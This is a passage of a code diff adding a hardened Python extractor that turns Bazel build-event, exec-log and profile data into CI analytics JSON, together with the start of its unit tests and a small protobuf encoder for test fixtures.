len(b) + while True: + if p >= n: + raise ValueError("truncated varint") + c = b[p] + p += 1 + r |= (c & 0x7F) << s + s += 7 + if not c & 0x80: + return r, p + if s > 63: + # Bounds the loop (a crafted run of 0xFF bytes with no + # terminator would otherwise grow `r` into an arbitrarily large + # Python int, making every subsequent shift/OR progressively + # more expensive -- an O(n^2) DoS, not just an eventual + # IndexError) and rejects anything wider than a 64-bit value. + raise ValueError("varint exceeds 64 bits") + + +def fields(b, deadline=None): + """Yields (field, wiretype, value); length-delimited values are slices, + never decoded here. + + A single field-rich submessage (e.g. a 40 MB Spawn made of millions of + tiny 2-byte unknown fields) can take many seconds to merely iterate, + even though spawns()'s own per-entry deadline check never sees it: that + check only fires once per ExecLogEntry, not once per field inside one. + deadline, when given, is re-checked every DEADLINE_CHECK_EVERY fields + here too, so a single oversized submessage at any nesting level can't + run past PARSE_DEADLINE_S on its own.""" + p = 0 + n = len(b) + count = 0 + while p < n: + count += 1 + if deadline is not None and count % DEADLINE_CHECK_EVERY == 0 and time.monotonic() > deadline: + raise ParseTimeout("protobuf field parse deadline exceeded") + k, p = varint(b, p) + f, t = k >> 3, k & 7 + if t == 0: + v, p = varint(b, p) + elif t == 2: + ln, p = varint(b, p) + v = b[p : p + ln] + p += ln + elif t == 1: + v = b[p : p + 8] + p += 8 + elif t == 5: + v = b[p : p + 4] + p += 4 + else: + raise ValueError("wire type %d" % t) + yield f, t, v + + +def dur_ms(v, deadline=None): + """Decodes a Duration submessage's bytes (fields 1 seconds, 2 nanos).""" + seconds = nanos = 0 + for f, t, val in fields(v, deadline): + if t != 0: + continue + if f == 1: + seconds = val + elif f == 2: + nanos = val + return seconds * 1000 + nanos // 1_000_000 + + +def spawns(raw, deadline): + """Yields (invocation_id, spawn-dict) for every ExecLogEntry.spawn in the + decompressed exec log stream. ExecLogEntry: 1 id, 2 invocation, 7 spawn; + the rest skipped. Every sub-field is type-checked before use: a hostile + or corrupt encoder can put any wire type on any field number, and a + string/submessage field that arrives as a varint (int, not bytes) is + simply skipped rather than passed to .decode()/fields().""" + p = 0 + n = len(raw) + inv = None + count = 0 + while p < n: + count += 1 + if count % DEADLINE_CHECK_EVERY == 0 and time.monotonic() > deadline: + raise ParseTimeout("exec log parse deadline exceeded") + ln, p = varint(raw, p) + entry = raw[p : p + ln] + p += ln + for f, _, v in fields(entry, deadline): + if f == 2 and isinstance(v, bytes): + inv = next( + ( + sv.decode("utf-8", "replace") + for sf, _, sv in fields(v, deadline) + if sf == 4 and isinstance(sv, bytes) + ), + inv, + ) + elif f == 7 and isinstance(v, bytes): + s = {"target": "", "mnemonic": "", "runner": "", "cache_hit": False, "m": {}} + for sf, st, sv in fields(v, deadline): # 1 args, 2 env_vars, 3 platform: never decoded + if sf == 7 and isinstance(sv, bytes): + s["target"] = sv.decode("utf-8", "replace") + elif sf == 8 and isinstance(sv, bytes): + s["mnemonic"] = sv.decode("utf-8", "replace") + elif sf == 11 and isinstance(sv, bytes): + s["runner"] = sv.decode("utf-8", "replace") + elif sf == 12: + s["cache_hit"] = bool(sv) + elif sf == 18 and isinstance(sv, bytes): + for mf, mt, mv in fields(sv, deadline): + if mf in SPAWN_METRIC and mt == 2 and isinstance(mv, bytes): + s["m"][SPAWN_METRIC[mf]] = dur_ms(mv, deadline) + elif mf == 11 and mt == 0: + s["m"]["input_bytes"] = mv + yield inv, s + + +def load_exec_log(path, deadline): + """Returns (decompressed bytes or None, status) where status is one of + "ok", "unreadable", "too_large"; None data means no per-spawn data for + this invocation (BEP-level data is still emitted). + + The compressed file's size is stat-capped before it is ever opened, and + decompression itself runs under a Popen whose stdout is read in bounded + chunks: at most MAX_EXEC_LOG_BYTES + 1 bytes are ever read before the + child is killed, so a zstd decompression bomb can't grow this process's + memory past that bound no matter how small the compressed input is. + --long=31 (which lets zstd negotiate up to a 2 GiB window) is + deliberately not passed, for the same reason. + """ + try: + st = os.stat(path) + except OSError: + return None, "unreadable" + if st.st_size > MAX_EXEC_LOG_BYTES: + return None, "too_large" + try: + with open(path, "rb") as fh: + magic = fh.read(4) + except OSError: + return None, "unreadable" + if magic != ZSTD_MAGIC: + try: + with open(path, "rb") as fh: + data = fh.read() + except OSError: + return None, "unreadable" + if len(data) > MAX_EXEC_LOG_BYTES: + return None, "too_large" + return data, "ok" + + zstd = shutil.which("zstd") + if zstd is None: + return None, "unreadable" + try: + in_fh = open(path, "rb") + except OSError: + return None, "unreadable" + try: + proc = subprocess.Popen( + [zstd, "-dc"], + stdin=in_fh, + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + ) + except OSError: + return None, "unreadable" + finally: + in_fh.close() # Popen dup'd it; closing our copy doesn't affect the child. + + chunks = [] + total = 0 + too_large = False + try: + try: + while True: + if time.monotonic() > deadline: + proc.kill() + proc.wait() + return None, "unreadable" + chunk = proc.stdout.read(DECOMPRESS_CHUNK) + if not chunk: + break + total += len(chunk) + if total > MAX_EXEC_LOG_BYTES: + too_large = True + proc.kill() + break + chunks.append(chunk) + proc.wait(timeout=max(1.0, deadline - time.monotonic())) + except (OSError, subprocess.SubprocessError): + try: + proc.kill() + except OSError: + pass + return None, "unreadable" + finally: + proc.stdout.close() + + if too_large: + return None, "too_large" + if proc.returncode != 0: + return None, "unreadable" + return b"".join(chunks), "ok" + + +# --- BEP: newline-delimited JSON --- + + +def read_bep(path, deadline): + """Reads the BEP JSON stream. Returns (events, truncated). A malformed + last line sets truncated; a malformed middle line raises ValueError (the + whole invocation is dropped, the same contract as gascity bep.go).""" + events = [] + pending_err = None + count = 0 + with open(path, "r", encoding="utf-8", errors="replace") as fh: + for line in fh: + count += 1 + if count % DEADLINE_CHECK_EVERY == 0 and time.monotonic() > deadline: + raise ParseTimeout("BEP parse deadline exceeded") + line = line.strip() + if not line: + continue + if pending_err is not None: + raise ValueError(pending_err) + try: + events.append(json.loads(line, parse_constant=_reject_constant)) + except ValueError as exc: + pending_err = str(exc) + return events, pending_err is not None + + +def iter_repo_fetch(profile_path, deadline): + """Streams the JSON profile line by line; only lines mentioning + "Fetching repository" are parsed (design section 3.5's cap). Computes + the wall-clock union of each name's intervals (not just a min-start/ + max-end span: two disjoint fetches of the same repo should not count the + gap between them). Returns (rows, status), status one of "ok", + "unreadable", "corrupt" (a non-finite ts/dur -- Infinity, NaN, or a sum + that overflows to inf -- was seen and dropped; any other valid rows + parsed are still returned).""" + intervals = {} # name -> sorted list of disjoint, merged [start, end) + corrupt = False + try: + fh = open(profile_path, "r", encoding="utf-8", errors="replace") + except OSError: + return [], "unreadable" + with fh: + for line in fh: + if time.monotonic() > deadline: + break + if "Fetching repository" not in line: + continue + stripped = line.rstrip(",\n") + try: + # Default parse_constant (not _reject_constant): a crafted + # "ts": Infinity/NaN literal must reach the isfinite() + # check below and flip this profile's status to "corrupt", + # not raise out of json.loads() and get silently skipped. + ev = json.loads(stripped) + except ValueError: + continue + if not isinstance(ev, dict) or ev.get("cat") != "Fetching repository": + continue + name = ev.get("name") + ts = ev.get("ts") + dur = ev.get("dur") + if ( + not isinstance(name, str) + or not isinstance(ts, (int, float)) + or not isinstance(dur, (int, float)) + ): + continue + # A crafted ts/dur (1e999 parses as inf via _reject_constant's + # sibling path below; ts=1e308 + dur=1e308 overflows a finite + # sum to inf without raising) must degrade this invocation's + # profile status to "corrupt", not crash or silently produce an + # infinite/NaN interval that a naive sum() would then also + # produce as a reported "ms" value. + try: + start, end = ts, ts + dur + if not (math.isfinite(start) and math.isfinite(end)): + corrupt = True + continue + except (OverflowError, ValueError, TypeError): + corrupt = True + continue + merged = intervals.setdefault(name, []) + _merge_interval(merged, start, end) + out = [] + for name, merged in intervals.items(): + repo = valid_repo(name) + if repo is None: + continue + total_us = sum(e - s for s, e in merged) + out.append({"repo": repo, "ms": round(total_us / 1000.0)}) + out.sort(key=lambda r: r["ms"], reverse=True) + return out[:MAX_REPOS], ("corrupt" if corrupt else "ok") + + +def _merge_interval(merged, start, end): + """Inserts [start, end) into `merged`, a list of disjoint intervals kept + sorted by start, merging with any overlapping/adjacent neighbors so the + list always represents the true union.""" + out = [] + placed = False + for s, e in merged: + if end < s: + if not placed: + out.append((start, end)) + placed = True + out.append((s, e)) + elif start > e: + out.append((s, e)) + else: + start, end = min(start, s), max(end, e) + if not placed: + out.append((start, end)) + out.sort() + merged[:] = out + + +# --- per-invocation BEP extraction --- + + +def _empty_critical_path(): + return { + "remote_pct": 0.0, + "queue_pct": 0.0, + "fetch_pct": 0.0, + "process_pct": 0.0, + "upload_pct": 0.0, + "setup_pct": 0.0, + "network_pct": 0.0, + # Always present (the S4 contract: a stable, always-complete key + # set), even when the critical path text has no per-test line at + # all (a pure-build invocation, or a critpath_bad_float-style + # degrade): "" / 0, never an absent key the collector has to guess + # the type of. + "test_label": "", + "test_shard": 0, + "test_ms": 0, + } + + +def build_timing(events): + timing = { + "elapsed_ms": 0, + "wall_ms": 0, + "cpu_ms": 0, + "analysis_ms": 0, + "execution_ms": 0, + "actions_start_ms": 0, + "critical_path_ms": 0, + } + started = None + finished = None + # Always a full key set (design/S4 contract): a lane with no critical + # path text still reports every *_pct at 0.0, rather than an empty dict. + critical_path = _empty_critical_path() + actions = { + "created": 0, + "executed": 0, + "remote_cache_hit": 0, + "disk_cache_hit": 0, + "remote": 0, + "local": 0, + "internal": 0, + "action_cache_hits": 0, + "action_cache_misses": 0, + } + graph = {"packages_loaded": 0, "targets_configured": 0} + net = {"bytes_recv": 0, "bytes_sent": 0} + + for ev in events: + # Tolerates a BEP line that decoded to a list, a string, or any + # other non-dict JSON value (malformed middle lines already raise + # in read_bep(); this is for individually-wrong-shaped lines that + # parsed fine as JSON but aren't the object BEP lines always are). + if not isinstance(ev, dict): + continue + try: + if "started" in ev: + s = ev["started"] + if isinstance(s, dict): + started = { + "invocation_id": valid_uuid(s.get("uuid", "")) or "", + "command": valid_command(s.get("command", "")) or "unknown", + "bazel_version": valid_version(s.get("buildToolVersion", "")) or "unknown", + "started_ms": as_int(s.get("startTimeMillis")), + } + if "finished" in ev: + fin = ev["finished"] + if isinstance(fin, dict): + exit_code = fin.get("exitCode") + if not isinstance(exit_code, dict): + exit_code = {} + finished = { + "exit_code": as_int(exit_code.get("code")), + "exit_name": exit_code.get("name", ""), + "finished_ms": as_int(fin.get("finishTimeMillis")), + } + if "buildToolLogs" in ev: + btl = ev["buildToolLogs"] + logs = btl.get("log", []) if isinstance(btl, dict) else [] + for log in logs or []: + if not isinstance(log, dict): + continue + name = log.get("name") + contents = log.get("contents") + if name == "elapsed time" and contents: + try: + timing["elapsed_ms"] = round(float(base64.b64decode(contents)) * 1000) + except (ValueError, TypeError, OverflowError): + pass + elif name == "critical path" and contents: + try: + text = base64.b64decode(contents).decode("utf-8", "replace") + except (ValueError, TypeError): + text = "" + first_line = text.splitlines()[0] if text else "" + m = CRITICAL_PATH_RE.fullmatch(first_line) + if m: + cp = dict(critical_path) + cp["remote_pct"] = _clamp_pct(_safe_float(m.group(2))) + for key, val in CRITICAL_PATH_PCT_RE.findall(m.group(3)): + field = "%s_pct" % key + if field in cp: + cp[field] = _clamp_pct(_safe_float(val)) + critical_path = cp + for line in text.splitlines()[1:]: + tm = CRITICAL_PATH_TEST_RE.fullmatch(line) + if tm: + label = valid_label(tm.group(2)) + if label is not None: + critical_path["test_label"] = label + critical_path["test_shard"] = ( + as_int(tm.group(3)) if tm.group(3) else 0 + ) + critical_path["test_ms"] = round( + _safe_float(tm.group(1)) * 1000 + ) + break + if "buildMetrics" in ev: + bm = ev["buildMetrics"] + if not isinstance(bm, dict): + continue + tm = bm.get("timingMetrics") + if not isinstance(tm, dict): + tm = {} + for key, dst in ( + ("cpuTimeInMs", "cpu_ms"), + ("wallTimeInMs", "wall_ms"), + ("analysisPhaseTimeInMs", "analysis_ms"), + ("executionPhaseTimeInMs", "execution_ms"), + ("actionsExecutionStartInMs", "actions_start_ms"), + ): + if key in tm: + timing[dst] = as_int(tm.get(key)) + # Bazel 9.2.0 sends criticalPathTime as a Duration string + # ("0.203047257s"), not criticalPathTimeInMs: as_int() on + # that string always returned the default 0, silently. + # Parse the Duration first; fall back to a legacy/future + # criticalPathTimeInMs integer field if present instead. + cpt_ms = as_duration_ms(tm.get("criticalPathTime")) + if cpt_ms is None and "criticalPathTimeInMs" in tm: + cpt_ms = as_int(tm.get("criticalPathTimeInMs")) + if cpt_ms is not None: + timing["critical_path_ms"] = cpt_ms + + asum = bm.get("actionSummary") + if not isinstance(asum, dict): + asum = {} + if "actionsCreated" in asum: + actions["created"] = as_int(asum.get("actionsCreated")) + if "actionsExecuted" in asum: + actions["executed"] = as_int(asum.get("actionsExecuted")) + local_count = 0 + for rc in asum.get("runnerCount", []) or []: + if not isinstance(rc, dict): + continue + name = rc.get("name", "") + count = as_int(rc.get("count")) + if rc.get("execKind") == "Local": + local_count += count + continue + if name == "remote cache hit": + actions["remote_cache_hit"] += count + elif name == "disk cache hit": + actions["disk_cache_hit"] += count + elif name == "remote": + actions["remote"] += count + elif name == "internal": + actions["internal"] += count + actions["local"] = local_count + acs = asum.get("actionCacheStatistics") + if isinstance(acs, dict): + actions["action_cache_hits"] = as_int(acs.get("hits")) + actions["action_cache_misses"] = as_int(acs.get("misses")) + + pm = bm.get("packageMetrics") + if isinstance(pm, dict): + graph["packages_loaded"] = as_int(pm.get("packagesLoaded")) + tgm = bm.get("targetMetrics") + if isinstance(tgm, dict): + graph["targets_configured"] = as_int(tgm.get("targetsConfigured")) + nmw = bm.get("networkMetrics") + nm = nmw.get("systemNetworkStats") if isinstance(nmw, dict) else None + if isinstance(nm, dict): + net["bytes_recv"] = as_int(nm.get("bytesRecv")) + net["bytes_sent"] = as_int(nm.get("bytesSent")) + except Exception: + # Degrade to a partial BEP: one malformed event (e.g. "started" + # or "testResult" present but holding a non-dict value) is + # skipped; every other event in this stream is still processed. + continue + + return started, finished, timing, critical_path, actions, graph, net + + +def build_action_data(events): + """BEP buildMetrics.actionSummary.actionData[]: per-mnemonic executed, + created, userTime, systemTime. Top 20 only (Bazel's own cap).""" + data = {} + for ev in events: + if not isinstance(ev, dict): + continue + try: + bm = ev.get("buildMetrics") + if not isinstance(bm, dict): + continue + asum = bm.get("actionSummary") + if not isinstance(asum, dict): + continue + for ad in asum.get("actionData", []) or []: + if not isinstance(ad, dict): + continue + mnemonic = valid_mnemonic(ad.get("mnemonic", "")) + if mnemonic is None: + continue + d = data.setdefault( + mnemonic, {"bep_executed": 0, "bep_created": 0, "user_ms": 0, "system_ms": 0} + ) + d["bep_executed"] += as_int(ad.get("actionsExecuted")) + d["bep_created"] += as_int(ad.get("actionsCreated")) + d["user_ms"] += as_duration_ms(ad.get("userTime")) or 0 + d["system_ms"] += as_duration_ms(ad.get("systemTime")) or 0 + except Exception: + continue + return data + + +def build_tests(events): + """testResult + testSummary, grouped by label. MAX_TEST_RESULTS is a + total across every label (the S4 contract), not a per-label cap.""" + tests = {} # label -> {summary, results: []} + truncated = 0 + total_results = 0 + for ev in events: + if not isinstance(ev, dict): + continue + try: + ident = ev.get("id") + if not isinstance(ident, dict): + ident = {} + tr = ev.get("testResult") + if tr is not None and isinstance(tr, dict): + tid = ident.get("testResult") + if not isinstance(tid, dict): + tid = {} + label = valid_label(tid.get("label", "")) + if label is None: + continue + entry = tests.setdefault(label, {"summary": None, "results": []}) + if total_results >= MAX_TEST_RESULTS: + truncated += 1 + continue + status = valid_enum(tr.get("status", "")) or "UNKNOWN" + execinfo = tr.get("executionInfo") + if not isinstance(execinfo, dict): + execinfo = {} + strategy = execinfo.get("strategy", "") + cached_locally = bool(tr.get("cachedLocally")) + runner = "local_cache" if cached_locally else runner_class(strategy) + duration_ms = as_duration_ms(tr.get("testAttemptDuration")) + if duration_ms is None: + duration_ms = as_int(tr.get("testAttemptDurationMillis")) + queue_ms = fetch_ms = exec_ms = 0 + # Per-test timing lives under testResult.executionInfo. + # timingBreakdown, not a top-level testResult.timingBreakdown + # (which doesn't exist at all) -- confirmed against a real + # Bazel 9.2 fixture. + tbd = execinfo.get("timingBreakdown") + children = tbd.get("child", []) if isinstance(tbd, dict) else [] + for child in children or []: + if not isinstance(child, dict): + continue + name = child.get("name") + ms = as_duration_ms(child.get("time")) + if ms is None: + continue + if name == "queueTime": + queue_ms = ms + elif name == "fetchTime": + fetch_ms = ms + elif name == "executionWallTime": + exec_ms = ms + entry["results"].append( + { + "shard": as_int(tid.get("shard")), + "run": as_int(tid.get("run")), + "attempt": as_int(tid.get("attempt")), + "status": status, + "runner": runner, + "duration_ms": duration_ms, + "queue_ms": queue_ms, + "fetch_ms": fetch_ms, + "exec_ms": exec_ms, + } + ) + total_results += 1 + ts = ev.get("testSummary") + if ts is not None and isinstance(ts, dict): + tid = ident.get("testSummary") + if not isinstance(tid, dict): + tid = {} + label = valid_label(tid.get("label", "")) + if label is None: + continue + entry = tests.setdefault(label, {"summary": None, "results": []}) + entry["summary"] = { + "overall": valid_enum(ts.get("overallStatus", "")) or "UNKNOWN", + "shards": as_int(ts.get("shardCount")) or 1, + "attempts": as_int(ts.get("attemptCount")) or 1, + "cached": as_int(ts.get("totalNumCached")), + } + except Exception: + continue + + labels = sorted(tests.keys()) + tests_truncated = 0 + if len(labels) > MAX_TEST_LABELS: + tests_truncated = len(labels) - MAX_TEST_LABELS + labels = labels[:MAX_TEST_LABELS] + out = [] + for label in labels: + entry = tests[label] + summary = entry["summary"] or { + "overall": "UNKNOWN", + "shards": 1, + "attempts": 1, + "cached": 0, + } + out.append( + { + "label": label, + "overall": summary["overall"], + "shards": summary["shards"], + "attempts": summary["attempts"], + "cached": summary["cached"], + "results": entry["results"], + } + ) + return out, tests_truncated + truncated + + +def build_mnemonics_and_cold(started_uuid, exec_log_data, deadline): + """Groups exec-log spawns by mnemonic (mnemonics[]) and finds the + cache-missing ones by (mnemonic, target) (cold[]).""" + by_mnemonic = {} + cold = {} + matched_invocation = False + if exec_log_data is None: + return {}, {}, False + for inv, spawn in spawns(exec_log_data, deadline): + if inv is not None: + if started_uuid and inv != started_uuid: + continue + matched_invocation = True + mnemonic = valid_mnemonic(spawn["mnemonic"]) + if mnemonic is None: + continue + cls = runner_class(spawn["runner"]) + m = spawn["m"] + d = by_mnemonic.setdefault( + mnemonic, + { + "spawns": 0, + "remote_cache_hit": 0, + "disk_cache_hit": 0, + "remote": 0, + "local": 0, + "other": 0, + "total_ms": 0, + "remote_exec_ms": 0, + "remote_queue_ms": 0, + "remote_queue_max_ms": 0, + "remote_setup_ms": 0, + "local_exec_ms": 0, + "fetch_ms": 0, + "upload_ms": 0, + "input_bytes": 0, + }, + ) + d["spawns"] += 1 + if cls in ("remote_cache_hit", "disk_cache_hit", "remote", "local"): + d[cls] += 1 + else: + d["other"] += 1 + d["total_ms"] += m.get("total_ms", 0) + d["fetch_ms"] += m.get("fetch_ms", 0) + d["upload_ms"] += m.get("upload_ms", 0) + d["input_bytes"] += m.get("input_bytes", 0) + if cls == "remote": + d["remote_exec_ms"] += m.get("exec_ms", 0) + d["remote_queue_ms"] += m.get("queue_ms", 0) + d["remote_queue_max_ms"] = max(d["remote_queue_max_ms"], m.get("queue_ms", 0)) + d["remote_setup_ms"] += m.get("setup_ms", 0) + elif cls == "local": + d["local_exec_ms"] += m.get("exec_ms", 0) + + if cls in ("remote", "local"): # cache misses + target = valid_label(spawn["target"]) + if target is not None: + key = (mnemonic, target, cls) + cd = cold.setdefault( + key, {"mnemonic": mnemonic, "target": target, "runner": cls, "spawns": 0, "total_ms": 0, "exec_ms": 0, "queue_ms": 0} + ) + cd["spawns"] += 1 + cd["total_ms"] += m.get("total_ms", 0) + cd["exec_ms"] += m.get("exec_ms", 0) + cd["queue_ms"] += m.get("queue_ms", 0) + return by_mnemonic, cold, matched_invocation + + +def finalize_mnemonics(by_mnemonic, action_data): + truncated = 0 + names = sorted(by_mnemonic.keys()) + if len(names) > MAX_MNEMONICS: + truncated = len(names) - MAX_MNEMONICS + names = sorted(by_mnemonic.keys(), key=lambda n: by_mnemonic[n]["total_ms"], reverse=True)[:MAX_MNEMONICS] + names.sort() + out = [] + for name in names: + d = dict(by_mnemonic[name]) + d["mnemonic"] = name + extra = action_data.get(name) + if extra: + d.update(extra) + else: + d.setdefault("bep_executed", 0) + d.setdefault("bep_created", 0) + d.setdefault("user_ms", 0) + d.setdefault("system_ms", 0) + out.append(d) + return out, truncated + + +def finalize_cold(cold): + rows = list(cold.values()) + rows.sort(key=lambda r: r["total_ms"], reverse=True) + truncated = max(0, len(rows) - MAX_COLD) + return rows[:MAX_COLD], truncated + + +def build_invocation(step, bep_path, exec_log_path, profile_path, deadline): + try: + events, bep_truncated = read_bep(bep_path, deadline) + except OSError: + return None + except ValueError: + # A malformed non-final line: drop this invocation entirely. + return None + except ParseTimeout: + return None + + started, finished, timing, critical_path, actions, graph, net = build_timing(events) + if started is None: + return None + + # "-" (or omitting the argument) means "missing": there was never a file + # to read. That's different from "unreadable" (a path was given but + # couldn't be opened/decoded) or "corrupt"/"timeout" (opened, but the + # contents didn't decode, or took too long). + exec_log_status = "missing" + exec_log_data = None + if exec_log_path is not None: + exec_log_data, exec_log_status = load_exec_log(exec_log_path, deadline) + + mnemonics_raw, cold_raw = {}, {} + if exec_log_data is not None: + try: + mnemonics_raw, cold_raw, matched = build_mnemonics_and_cold( + started.get("invocation_id", ""), exec_log_data, deadline + ) + except ParseTimeout: + exec_log_status = "timeout" + except Exception: + # Every crash this layer can't itself degrade from (a truncated + # varint, an unsupported wire type, a sub-message that's the + # wrong shape in a way isinstance() checks upstream didn't + # anticipate) lands here: the invocation still gets its BEP-only + # data, just no per-mnemonic/cold rows. + exec_log_status = "corrupt" + else: + if started.get("invocation_id") and not matched: + exec_log_status = "mismatch" + mnemonics_raw, cold_raw = {}, {} + + action_data = build_action_data(events) + mnemonics, mnemonics_truncated = finalize_mnemonics(mnemonics_raw, action_data) + cold, cold_truncated = finalize_cold(cold_raw) + + repo_fetch = [] + profile_status = "missing" + if profile_path is not None: + repo_fetch, profile_status = iter_repo_fetch(profile_path, deadline) + + tests, tests_truncated = build_tests(events) + + record = { + "step": step, + "invocation_id": started["invocation_id"], + "command": started["command"], + "bazel_version": started["bazel_version"], + "started_ms": started["started_ms"], + "finished_ms": finished["finished_ms"] if finished else 0, + # No finished event at all (the lane crashed/was killed mid-build): + # -1, never the misleadingly-successful-looking default of 0. + "exit_code": finished["exit_code"] if finished else -1, + "exit_name": valid_enum(finished["exit_name"]) if finished else None, + "bep_truncated": bep_truncated, + "exec_log": exec_log_status, + "profile": profile_status, + "timing": timing, + "critical_path": critical_path, + "actions": actions, + "graph": graph, + "net": net, + "mnemonics": mnemonics, + "mnemonics_truncated": mnemonics_truncated, + "cold": cold, + "cold_truncated": cold_truncated, + "repo_fetch": repo_fetch, + "tests": tests, + "tests_truncated": tests_truncated, + } + if record["exit_name"] is None: + record["exit_name"] = "UNKNOWN" + return record + + +def build_summary(lane, mode, check_run_id, pr_hint, invocation_args, deadline): + invocations = [] + for step, bep, exec_log, profile in invocation_args: + record = build_invocation(step, bep, exec_log, profile, deadline) + if record is not None: + invocations.append(record) + if not invocations: + return None + return { + "format": FORMAT, + "version": SCHEMA_VERSION, + "extractor": EXTRACTOR_VERSION, + "lane": lane, + "mode": mode, + "check_run_id": as_int(check_run_id), + "pr_hint": as_int(pr_hint), + "invocations": invocations, + } + + +def parse_args(argv): + ap = argparse.ArgumentParser(description=__doc__) + ap.add_argument("--lane", required=True) + ap.add_argument("--mode", required=True) + ap.add_argument("--check-run-id", required=True) + ap.add_argument("--pr-hint", required=True) + ap.add_argument("--out", required=True) + ap.add_argument( + "--invocation", + nargs="+", + action="append", + default=[], + metavar=("STEP BEP EXEC_LOG PROFILE"), + ) + args = ap.parse_args(argv) + + # REDACTION: --lane, --mode and every --invocation STEP are written + # straight into the output JSON (lane, mode, invocations[].step). They + # come from workflow env/matrix values, not free text, but nothing + # enforced that before this CLI parsed them -- a hostile or just wrong + # caller could put an auth-header-shaped string in --lane and have it + # land in the artifact verbatim. Validate eagerly, before any file I/O. + if valid_lane(args.lane) is None: + ap.error("--lane must match %s" % LANE_RE.pattern) + if args.mode not in MODE_CHOICES: + ap.error("--mode must be one of: %s" % ", ".join(sorted(MODE_CHOICES))) + + invocations = [] + for inv in args.invocation: + if len(inv) < 2 or len(inv) > 4: + ap.error("--invocation takes STEP BEP [EXEC_LOG|-] [PROFILE|-]") + step = inv[0] + if valid_lane(step) is None: + ap.error("--invocation STEP must match %s" % LANE_RE.pattern) + bep = inv[1] + exec_log = inv[2] if len(inv) > 2 and inv[2] != "-" else None + profile = inv[3] if len(inv) > 3 and inv[3] != "-" else None + invocations.append((step, bep, exec_log, profile)) + if len(invocations) > MAX_INVOCATIONS: + ap.error("at most %d --invocation entries" % MAX_INVOCATIONS) + if not invocations: + ap.error("at least one --invocation is required") + args.invocations = invocations + return args + + +def main(argv=None): + args = parse_args(argv if argv is not None else sys.argv[1:]) + deadline = time.monotonic() + PARSE_DEADLINE_S + try: + summary = build_summary( + args.lane, args.mode, args.check_run_id, args.pr_hint, args.invocations, deadline + ) + except Tripwire: + sys.stderr.write("::error::ci_analytics_extract: tripwire matched; nothing written\n") + return 4 + + if summary is None: + sys.stderr.write("::error::ci_analytics_extract: no BEP for any invocation; nothing written\n") + return 3 + + try: + # allow_nan=False: a backstop against ever writing invalid JSON + # (bare Infinity/-Infinity/NaN) should a non-finite number reach + # this point despite as_int()/as_duration_ms()/_clamp_pct() -- every + # numeric field this extractor emits is already supposed to be + # finite by the time it gets here. + text = json.dumps(summary, sort_keys=True, separators=(",", ":"), allow_nan=False) + except ValueError: + sys.stderr.write( + "::error::ci_analytics_extract: a non-finite number reached serialization; nothing written\n" + ) + return 4 + if TRIPWIRE_RE.search(text): + sys.stderr.write("::error::ci_analytics_extract: tripwire matched serialized output; nothing written\n") + return 4 + + out_dir = os.path.dirname(args.out) + if out_dir: + os.makedirs(out_dir, exist_ok=True) + tmp_path = args.out + ".tmp" + with open(tmp_path, "w", encoding="utf-8") as fh: + fh.write(text) + os.replace(tmp_path, args.out) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/ci_analytics_extract_test.py b/tools/bazel/ci_analytics_extract_test.py new file mode 100644 index 000000000..dc7de9205 --- /dev/null +++ b/tools/bazel/ci_analytics_extract_test.py @@ -0,0 +1,1429 @@ +"""Tests for ci_analytics_extract.py. + +Three fixture kinds, per the design doc (section 3.5): + + - testdata/ci_analytics/real/*: genuine Bazel 9.2.0 output from an + isolated scratch workspace (tools/bazel/testdata/ci_analytics/regen.sh), + with no remote flags and no ambient environment (env -i). The BEP is + filtered down to only the fields the extractor reads before being + committed; the exec log is committed decompressed (*.binpb) so these + tests don't need host `zstd`. Exercises the real BEP/exec-log/profile + shapes, including a failed test (flaky_test) and, in the post-clean + pair, a disk_cache_hit majority with one local re-execution. + - a synthetic remote fixture, built here with a small protobuf encoder, + for the `remote` and `remote cache hit` runner classes this sandbox has + no RBE endpoint to produce for real. + - testdata/ci_analytics/poisoned-bep.json: a BEP file whose every + extractor-visible field (including a couple of hostile labels) carries + an embedded secret or leaky value. The summary built from it must + contain none of them. +""" + +from __future__ import annotations + +import base64 +import json +import os +import shutil +import subprocess +import sys +import tempfile +import time +import unittest + +sys.path.insert(0, os.path.dirname(__file__)) +import ci_analytics_extract as extract # noqa: E402 + +TESTDATA = os.path.join(os.path.dirname(__file__), "testdata", "ci_analytics") +REAL = os.path.join(TESTDATA, "real") + + +def _deadline(seconds=30.0): + return time.monotonic() + seconds + + +# --- a tiny protobuf encoder, for the synthetic remote fixture and the +# adversarial exec-log tests below --- + + +def _varint(n: int) -> bytes: + out = bytearray() + while True: + b = n & 0x7F + n >>= 7 + if n: + out.append(b | 0x80) + else: + out.append(b) + return bytes(out) + + +def _tag(field: int, wire: int) -> bytes: + return _varint((field << 3) | wire) + + +def _varint_field(field: int, n: int) -> bytes: + return _tag(field, 0) + _varint(n) + + +def _bytes_field(field: int, b: bytes) -> bytes: + return _tag(field, 2) + _varint(len(b)) + b + + +def _str_field(field: int, s: str) -> bytes: + return _bytes_field(field, s.encode("utf-8")) + + +def _duration_bytes(ms: int) -> bytes: + seconds, nanos = divmod(ms, 1000) + return _varint_field(1, seconds) + _varint_field(2, nanos * 1_000_000) + + +def _spawn_metrics(total_ms=0, queue_ms=0, exec_ms=0, input_bytes=0) -> bytes: + body = b"" + if total_ms: + body += _bytes_field(1, _duration_bytes(total_ms)) + if queue_ms: + body += _bytes_field(5, _duration_bytes(queue_ms)) + if exec_ms: + body += _bytes_field(8, _duration_bytes(exec_ms)) + if input_bytes: + body += _varint_field(11, input_bytes) + return body + + +def _spawn(target, mnemonic, runner, cache_hit, metrics, args=(), env=()) -> bytes: + body = b"" + for a in args: # field 1: args. Never decoded by the extractor. + body += _str_field(1, a) + for k, v in env: # field 2: env_vars. Never decoded by the extractor. + body += _bytes_field(2, _str_field(1, k) + _str_field(2, v)) + body += _str_field(7, target) + body += _str_field(8, mnemonic) + body += _str_field(11, runner) + body += _varint_field(12, 1 if cache_hit else 0) + body += _bytes_field(18, metrics) + return body + + +def _length_prefixed(entry: bytes) -> bytes: + return _varint(len(entry)) + entry + + +def _entry_with_spawn(spawn_body: bytes) -> bytes: + entry = _bytes_field(7, spawn_body) + return _length_prefixed(entry) + + +def _invocation_entry(uuid: str) -> bytes: + return _length_prefixed(_bytes_field(2, _str_field(4, uuid))) + + +def synthetic_exec_log(uuid: str) -> bytes: + """A compact exec log (uncompressed; load_exec_log reads it verbatim + when it does not start with the zstd magic) with an invocation entry + then two spawns: a `remote` miss with queue time, and a `remote cache + hit`.""" + out = _invocation_entry(uuid) + out += _entry_with_spawn( 